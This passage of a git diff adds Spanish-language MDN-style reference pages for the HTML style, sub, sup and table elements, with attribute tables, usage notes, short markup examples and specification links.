+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-media"><code style="color: green;">media </code></a></td>
+   <td>Indica el/los medios a los que está destinada la información de estilo.</td>
+   <td>Uno o más <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-media-descriptors">descriptores de medio</a> separados por coma. Por defecto: 'screen'. Lo fija el navegador</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Ejemplo_simple" name="Ejemplo_simple">Ejemplo simple</h4>
+
+<pre class="eval">&lt;<strong>style</strong> type="text/css"&gt;
+ p { color: red; }
+&lt;/<strong>style</strong>&gt;
+&lt;p&gt; Texto en rojo &lt;/p&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#edef-STYLE"><strong>style</strong> en la especificación</a> de html 4.01</li>
+ <li>Especificación de <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/cover.html">CSS 2</a></li>
+</ul>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-style">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/sub/index.html b/files/es/web/html/elemento/sub/index.html
new file mode 100644
index 0000000000..4140eaa5cf
--- /dev/null
+++ b/files/es/web/html/elemento/sub/index.html
@@ -0,0 +1,101 @@
+---
+title: sub
+slug: Web/HTML/Elemento/sub
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/sub
+---
+<p>{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML</strong> &lt;sub&gt; define un fragmento de texto que se debe mostrar, por razones tipográficas, más bajo, y generalmente más pequeño, que el tramo principal del texto, es decir, en subíndice.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Categorías de contenido</a></th>
+   <td><a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_din%C3%A1mico">Contenido dinamíco</a>(Flow content) y <a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_est%C3%A1tico_o_de_texto">contenido estático o de texto</a>(phrasing content)</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_est%C3%A1tico_o_de_texto">contenido estático o de texto</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de etiquetas</th>
+   <td><font><font>Ninguna, tanto la etiqueta de apertura y cierre deben estar presentes</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td><font><font>Cualquier elemento que acepte contenido estático o de texto</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Cualquiera</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento sólo incluye los <a href="/en-US/docs/HTML/Global_attributes">atributos globales</a>.</p>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<ul>
+ <li><font><font>Este elemento debe ser utilizado sólo por razones tipográficas, es decir, cambiar la posición del texto cambia su significado como en matemática</font></font> (por ejemplo la fórmula matemática <var>t<sub>2</sub></var>, aunque se debe considerar el uso de <a href="/en-US/docs/MathML">MathML</a>) <font><font>o fórmulas químicas</font></font> (por ejemplo <code>H<sub>2</sub>O</code>).</li>
+ <li>Este elemento no debe ser utilizado para propósitos meramente visuales, como el estilo del logo del software<a class="external external-icon" href="https://es.wikipedia.org/wiki/LaTeX"> LaTeX</a> <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/LaTeX_logo.svg/1200px-LaTeX_logo.svg.png"><img alt="" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/LaTeX_logo.svg/1200px-LaTeX_logo.svg.png" style="height: 23px; vertical-align: bottom; width: 56px;"></a>. En ese caso debe usarse la propiedad de <a href="https://developer.mozilla.org/en-US/docs/CSS" title="en/CSS">CSS</a> <code>vertical-align</code>  para lograr el mismo efecto.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;p&gt;La fórmula química de agua: H&lt;sub&gt;2&lt;/sub&gt;O&lt;/p&gt;
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>La fórmula química de agua: H<sub>2</sub>O</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.sub")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento HTML <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/sup">&lt;sup&gt;</a> produce superíndice. Tenga en cuenta que no puedes usar &lt;sup&gt;  y &lt;sub&gt;  ambos al mismo tiempo y necesita usar <a href="https://developer.mozilla.org/en-US/docs/MathML" title="en/MathML">MathML</a> para producir un superíndice y un subíndice al lado del símbolo químico de un elemento, que representa su número atómico y su número nuclear.
+
+  <p><img alt="" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/db/Element_identity.png/220px-Element_identity.png" style="height: 63px; width: 63px;"></p>
+ </li>
+ <li>Los elementos MathML<a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msub" title="en/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msup" title="en/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, y <a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msubsup" title="en/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> .</li>
+</ul>
diff --git a/files/es/web/html/elemento/sup/index.html b/files/es/web/html/elemento/sup/index.html
new file mode 100644
index 0000000000..51f98765f1
--- /dev/null
+++ b/files/es/web/html/elemento/sup/index.html
@@ -0,0 +1,110 @@
+---
+title: sup
+slug: Web/HTML/Elemento/sup
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/sup
+---
+<p>El <strong>elemento HTML</strong> &lt;sup&gt; define un fragmento de texto que se debe mostrar, por razones tipográficas, más alto, y generalmente más pequeño, que el tramo principal del texto, es decir, en superíndice.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories" title="en/HTML/Content categories">Categorías de contenido</a></th>
+   <td><a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_din%C3%A1mico">Contenido dinamíco</a>(Flow content) y <a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_est%C3%A1tico_o_de_texto">contenido estático o de texto</a>(phrasing content)</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_est%C3%A1tico_o_de_texto">contenido estático o de texto</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td><font><font>Ninguna, tanto la etiqueta de apertura y cierre deben estar presentes</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td><font><font>Cualquier elemento que acepte contenido estático o de texto</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row"><font><font>Roles ARIA permitidos</font></font></th>
+   <td><font><font>Cualquiera</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td><font><font><a href="https://developer.mozilla.org/es/docs/Web/API/HTMLElement" title="The HTMLElement interface represents any HTML element. Some elements directly implement this interface, others implement it via an interface that inherits it."><code>HTMLElement</code></a></font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 class="highlight-spanned" id="Atributos"><span class="highlight-span">Atributos</span></h2>
+
+<p>Este elemento sólo incluye los <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">atributos globales</a>.</p>
+
+<h2 class="highlight-spanned" id="Notas_de_uso"><span class="highlight-span">Notas de uso</span></h2>
+
+<ul>
+ <li><font><font>Este elemento debe ser utilizado sólo por razones tipográficas, es decir, cambiar la posición del texto cambia su significado como en matemática </font></font> (por ejemplo la fórmula matemática  <var>f<sup>4</sup></var>, aunque se debe considerar el uso de <a href="https://developer.mozilla.org/en-US/docs/Web/MathML">MathML</a>)  <font><font>o en las abreviaturas francesas </font></font>(por ejemplo M<sup>lle</sup>, M<sup>me</sup> or C<sup>ie</sup>).</li>
+ <li>Este elemento también  se puede encontrar siguiendo palabras o frases. Estas anotaciones indican una entrada bibliográfica y se conocen como "notas al pie."</li>
+ <li>Este elemento no debe ser utilizado para propósitos meramente visuales, como el estilo del logo del software<a class="external external-icon" href="https://es.wikipedia.org/wiki/LaTeX"> LaTeX</a> <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/LaTeX_logo.svg/1200px-LaTeX_logo.svg.png"><img alt="" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/LaTeX_logo.svg/1200px-LaTeX_logo.svg.png" style="height: 23px; vertical-align: bottom; width: 56px;"></a>. En ese caso debe usarse la propiedad de <a href="https://developer.mozilla.org/en-US/docs/CSS" title="en/CSS">CSS</a> <code>vertical-align</code>  para lograr el mismo efecto.</li>
+</ul>
+
+<h2 class="highlight-spanned" id="Ejemplos"><span class="highlight-span">Ejemplos</span></h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Este texto es <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>sup</span><span class="punctuation token">&gt;</span></span>superíndice<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>sup</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>Este texto es <sup>superíndice</sup></p>
+
+<pre class="brush: html">&lt;p&gt;Notas al pie&lt;sup&gt;<sup>1</sup>&lt;/sup&gt;&lt;/p&gt;
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>Notas al pie<sup>1</sup></p>
+
+<h2 class="highlight-spanned" id="Especificaciones"><span class="highlight-span">Especificaciones</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external external-icon" href="https://html.spec.whatwg.org/multipage/semantics.html#the-sub-and-sup-elements" hreflang="en" lang="en">HTML Living Standard<br>
+    <small lang="es">The definition of '&lt;sub&gt; and &lt;sup&gt;' in that specification.</small></a></td>
+   <td><span class="spec-Living">Living Standard</span></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="http://www.w3.org/TR/html5/textlevel-semantics.html#the-sub-and-sup-elements" hreflang="en" lang="en">HTML5<br>
+    <small lang="es">The definition of '&lt;sub&gt; and &lt;sup&gt;;' in that specification.</small></a></td>
+   <td><span class="spec-REC">Recommendation</span></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.sup")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento HTML <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/sub">&lt;sub&gt;</a> produce subíndices. Tenga en cuenta que no puedes usar &lt;sup&gt;  y &lt;sub&gt;  ambos al mismo tiempo y necesita usar <a href="https://developer.mozilla.org/en-US/docs/MathML" title="en/MathML">MathML</a> para producir un superíndice y un subíndice al lado del símbolo químico de un elemento, que representa su número atómico y su número nuclear.
+
+  <p><img alt="" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/db/Element_identity.png/220px-Element_identity.png" style="height: 63px; width: 63px;"></p>
+ </li>
+ <li>Los elementos MathML<a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msub" title="en/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msup" title="en/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, y <a href="https://developer.mozilla.org/en-US/docs/MathML/Element/msubsup" title="en/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> .</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/table/index.html b/files/es/web/html/elemento/table/index.html
new file mode 100644
index 0000000000..1dffe0d7c2
--- /dev/null
+++ b/files/es/web/html/elemento/table/index.html
@@ -0,0 +1,525 @@
+---
+title: tabla
+slug: Web/HTML/Elemento/table
+translation_of: Web/HTML/Element/table
+---
+<h2 id="Resumen">Resumen</h2>
+<p>El <em>Elemento de Tabla HTML</em> (<code>&lt;table&gt;</code>) representa datos en dos o mas dimensiones.</p>
+<div class="note">
+  <strong>Nota: </strong>Antes de la creación de <a href="/es/docs/CSS" title="CSS">CSS</a>, los elementos HTML {{HTMLElement("table")}} eran frecuentemente utilizados para la disposición (posicionamiento) de una página. Este uso ha sido desalentado desde HTML 4, y el elemento <span style="font-weight: bold;">no debe</span> ser usado para dichos fines.</div>
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><a href="/es/docs/HTML/Content_categories" title="HTML/Content categories">Categoria del contenido</a></td>
+      <td><a href="/es/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flujo del contenido</a></td>
+    </tr>
+    <tr>
+      <td>Contenido permitido</td>
+      <td>
+        <div class="content-models">
+          <div id="table-mdls">
+            En este orden:
+            <ul>
+              <li>un elemento opcional {{HTMLElement("caption")}},</li>
+              <li>cero o mas elementos {{HTMLElement("colgroup")}},</li>
+              <li>un elemento opcional {{HTMLElement("thead")}},</li>
+              <li>una de las dos alternativas:
+                <ul>
+                  <li>un elemento {{HTMLElement("tfoot")}}, seguido por:
+                    <ul>
+                      <li>cero o mas elementos {{HTMLElement("tbody")}},</li>
+                      <li>o uno o mas elementos {{HTMLElement("tr")}},</li>
+                    </ul>
+                  </li>
+                  <li>una segunda alternativa seguida por un elemento opcional {{HTMLElement("tfoot")}}:
+                    <ul>
+                      <li>cualquier cero o mas elementos {{HTMLElement("tbody")}},</li>
+                      <li>uno o mas elementos {{HTMLElement("tr")}}</li>
+                    </ul>
+                  </li>
+                </ul>
+              </li>
+            </ul>
+          </div>
+        </div>
+      </td>
+    </tr>
+    <tr>
+      <td>Omisión de etiqueta</td>
+      <td>Ninguna, ambas la <span title="syntax-start-tag">etiqueta de inicio</span> y <span title="syntax-end-tag">de fin</span> son obligatorias</td>
+    </tr>
+    <tr>
+      <td>Elementos padre permitidos</td>
+      <td>cualquier elemento que acepte elementos de flujo</td>
+    </tr>
+    <tr>
+      <td>Documento normativo</td>
+      <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-table-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-table-element">HTML5, section 4.9.1</a> (<a class="external" href="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-TABLE" title="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-TABLE">HTML4.01, section 11.2.1</a>)</td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Atributos">Atributos</h3>
+<p>Al igual que otros elementos HTML, este elemento también soporta <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">atributos globales</a>.</p>
+<dl>
+  <dt>
+    {{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+  <dd>
+     Este atributo enumerativo indica como va a encontrarse alineada la tabla respecto al contenido del documento en cuestión, pudiendo tener los siguientes valores:
+    <ul>
+      <li><span>left</span>,significa que la tabla será mostrada a la izquierda del documento;</li>
+      <li><span>center</span>, significa que la tabla será mostrada al centro del documento;</li>
+      <li><span>right</span>, significa que la tabla será mostrada a la derecha del documento.</li>
+    </ul>
+    <div class="note">
+      <strong>Nota: </strong>
+      <ul>
+        <li><strong>No usar este atributo</strong>, ya que ha sido declarado obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. A fin de dar un efecto similar al atributo <span>align</span>, las propiedades {{cssxref("text-align")}} y {{cssxref("vertical-align")}} deben ser usadas.</li>
+        <li>Antes de la version 4 de Firefox, este ya soportaba sólo en el modo quirks (compatibilidad con navegadores antiguos) los valores <code>middle</code>, <code>absmiddle</code>, and <code>abscenter</code> como sinónimos de <code>center</code><em>.  </em></li>
+      </ul>
+    </div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo define el color de fondo de la tabla . Es un código hexadecimal como el dado en el formato <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a> (bajo el prefijo '#'). Uno de los 16 colores predefinidos podía ser usado:
+    <table>
+      <tbody>
+        <tr>
+          <td style="width: 24px; background-color: black;"> </td>
+          <td><span>black (negro)</span> = "#000000"</td>
+          <td style="width: 24px; background-color: green;"> </td>
+          <td><span>green (verde)</span> = "#008000"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: silver;"> </td>
+          <td><span>silver (plata)</span> = "#C0C0C0"</td>
+          <td style="width: 24px; background-color: lime;"> </td>
+          <td><span>lime (lima)</span> = "#00FF00"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: gray;"> </td>
+          <td><span>gray (gris)</span> = "#808080"</td>
+          <td style="width: 24px; background-color: olive;"> </td>
+          <td><span>olive (oliva)</span> = "#808000"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: white;"> </td>
+          <td><span>white (blanco)</span> = "#FFFFFF"</td>
+          <td style="width: 24px; background-color: yellow;"> </td>
+          <td><span>yellow (amarillo)</span> = "#FFFF00"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: maroon;"> </td>
+          <td><span>maroon (marrón)</span> = "#800000"</td>
+          <td style="width: 24px; background-color: navy;"> </td>
+          <td><span>navy (azul marino)</span> = "#000080"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: red;"> </td>
+          <td><span>red (rojo)</span> = "#FF0000"</td>
+          <td style="width: 24px; background-color: blue;"> </td>
+          <td><span>blue (azul)</span> = "#0000FF"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: purple;"> </td>
+          <td><span>purple (púrpura)</span> = "#800080"</td>
+          <td style="width: 24px; background-color: teal;"> </td>
+          <td><span>teal (verde esmeralda)</span> = "#008080"</td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: fuchsia;"> </td>
+          <td><span>fuchsia (fucsia)</span> = "#FF00FF"</td>
+          <td style="width: 24px; background-color: aqua;"> </td>
+          <td><span>aqua (verde agua)</span> = "#00FFFF"</td>
+        </tr>
+      </tbody>
+    </table>
+    <div class="note">
+      <strong>Nota de uso: </strong>No usar este atributo, dado que ha sido declarado obsoleto. El elemento {{HTMLElement("table")}} debe ser estilizado utilizando <a href="/es/docs/CSS" title="CSS">CSS</a>. A fin de dar un efecto similar al atributo <span>bgcolor</span>, la propiedad <a href="/es/docs/CSS" title="CSS">CSS</a> {{cssxref("background-color")}} debe ser usada.</div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo entero define el tamaño del cuadro alrededor de la tabla . Si estuviese puesta en <span>0</span>, implicaría que dicho atributo sería <span>nulo</span>.
+    <div class="note">
+      <strong>Nota de uso: </strong>No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. A fin de dar un efecto similar al atributo, las propiedades CSS nativas {{cssxref("border")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}} y {{cssxref("border-style")}} deben ser usadas.</div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo define el espacio entre el contenido de una celda y su borde (mostrado o no), si fuese la longitud de un pixel, dicho espacio será aplicado en los 4 costados, caso que fuese un porcentaje, el contenido será centrado y todo el espacio vertical representará a este porcentaje. Lo mismo será válido para todo el espacio horizontal
+    <div class="note">
+      <strong>Nota de uso: </strong>No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. Para dar un efecto similar al atributo <span>border</span>, use la propiedad CSS {{cssxref("border-collapse")}} con el valor collapse en el mismo elemento {{HTMLElement("table")}}, y la propiedad {{cssxref("padding")}} en el elemento {{HTMLElement("td")}}.</div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo define el espacio entre el contenido de una celda y su borde (mostrado o no), si fuese la longitud de un pixel, dicho espacio será aplicado en los 4 costados, caso que fuese un porcentaje, el contenido será centrado y todo el espacio vertical representará a este porcentaje. Lo mismo será válido para todo el espacio horizontal.
+    <div class="note">
+      <strong>Nota de uso: </strong>No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. Para dar un efecto similar al atributo <span>border</span>, use la propiedad {{cssxref("border-collapse")}} con el valor collapse en el mismo elemento {{HTMLElement("table")}}, y la propiedad {{cssxref("margin")}} en el elemento {{HTMLElement("td")}}.</div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo enumerativo define cual lado del cuadro alrededor de la tabla será mostrada. Puede tener los siguientes valores:
+    <table style="width: 668px;">
+      <tbody>
+        <tr>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>above</span></td>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>below</span></td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>hsides</span></td>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>vsides</span></td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>lhs</span></td>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>rhs</span></td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>border</span></td>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>box</span></td>
+        </tr>
+        <tr>
+          <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+          <td><span>void</span></td>
+        </tr>
+      </tbody>
+    </table>
+    <div class="note">
+      <strong>Nota de uso: </strong>No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. Para dar un efecto similar al atributo <span>frame</span> use las propiedades CSS {{cssxref("border-style")}} y {{cssxref("border-width")}}.</div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("rules")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo enumerativo define donde aparecen las reglas en la tabla, por ejemplo líneas. Puede tener los siguientes valores:
+    <ul>
+      <li><span>none</span>, indica que ninguna regla se mostrará, es el valor por defecto;</li>
+      <li><span>groups</span>, mostrará el número de reglas a mostrarse entre grupos de filas (defined by the {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} y {{HTMLElement("tfoot")}} elements) y entre grupos de columnas (defined by the {{HTMLElement("col")}} y {{HTMLElement("colgroup")}} elements) solamente;</li>
+      <li><span>rows</span>, que mostrará las reglas entre filas;</li>
+      <li><span>columns</span>, que mostrará las reglas entre columnas;</li>
+      <li><span>all</span>, que mostrará las reglas entre filas y columnas.</li>
+    </ul>
+    <div class="note">
+      <strong>Nota</strong>:
+      <ul>
+        <li>El estilo de las reglas depende del navegador usado y no puede ser modificado.</li>
+        <li>Nota de uso: No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. Use la propiedad {{cssxref("border")}} en los elementos adecuados {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("col")}} o {{HTMLElement("colgroup")}}.</li>
+      </ul>
+    </div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo define un texto alternativo para describir una tabla en un usuario incapaz de mostrarlo, corrientemente contiene una descripcion de él que posibilita a discapacitaos visulaes (como invidentes navegando en pantallas braile) a obtener la información que necesitan.Si la información añadida en este atributo puede ser útil a otras personas, considere el utilizar el elemento {{HTMLElement("caption")}} en vez de este. instead. El atributo de resumen no es obligatorio usuarlo, pudiendo ser omitido si un elemento {{HTMLElement("caption")}} realiza similar labor.<br>
+    <div class="note">
+      <strong>Nota de uso: </strong>No use este atributo, dado que ha sido declarado obsoleto. En su lugar, use alguna de estas formas de describir una tabla:
+      <ul>
+        <li>En prosa, rodeando la tabla (esta es la forma menos semántica de lograrlo).</li>
+        <li>En el elemento {{HTMLElement("caption")}} de la tabla.</li>
+        <li>En un elemento {{HTMLElement("details")}}, dentro del elemento {{HTMLElement("caption")}} de la tabla.</li>
+        <li>Incluye el elemento {{HTMLElement("table")}} en un elemento {{HTMLElement("figure")}} y añada la descripción en prosa al lado de él.</li>
+        <li>Incluya el elemento {{HTMLElement("table")}} en un elemento {{HTMLElement("figure")}} y añada la descripción en prosa dentro de un elemento {{HTMLElement("figcaption")}}.</li>
+        <li>Ajuste la tabla de manera que la descripción no sea necesaria, usando los elementos {{HTMLElement("th")}} y {{HTMLElement("thead")}} por ejemplo.</li>
+      </ul>
+    </div>
+  </dd>
+</dl>
+<dl>
+  <dt>
+    {{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+  <dd>
+    Este atributo define el ancho de una tabla, pudiendo contener una longitud de píxeles o un porcentaje, que representa un porcentaje de anchura del contenedor que la tabla debiera usar.
+    <div class="note">
+      No usar este atributo en CSS dado que es obsoleto: el elemento {{HTMLElement("table")}} debe ser estilizado usando <a href="/es/docs/CSS" title="CSS">CSS</a>. Para dar un efecto similar al atributo <span>frame</span> use la propiedad CSS {{cssxref("width")}} en su lugar.</div>
+  </dd>
+</dl>
+<h3 id="Interfaz_DOM">Interfaz DOM</h3>
+<p>Este elemento implementa la interfaz <code><a href="/es/docs/DOM/HTMLTableElement" title="DOM/HTMLTableElement">HTMLTableElement</a></code>.</p>
+<h3 id="Ejemplos">Ejemplos</h3>
+<pre class="brush: html">&lt;!-- Simple table --&gt;
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Simple table with header --&gt;
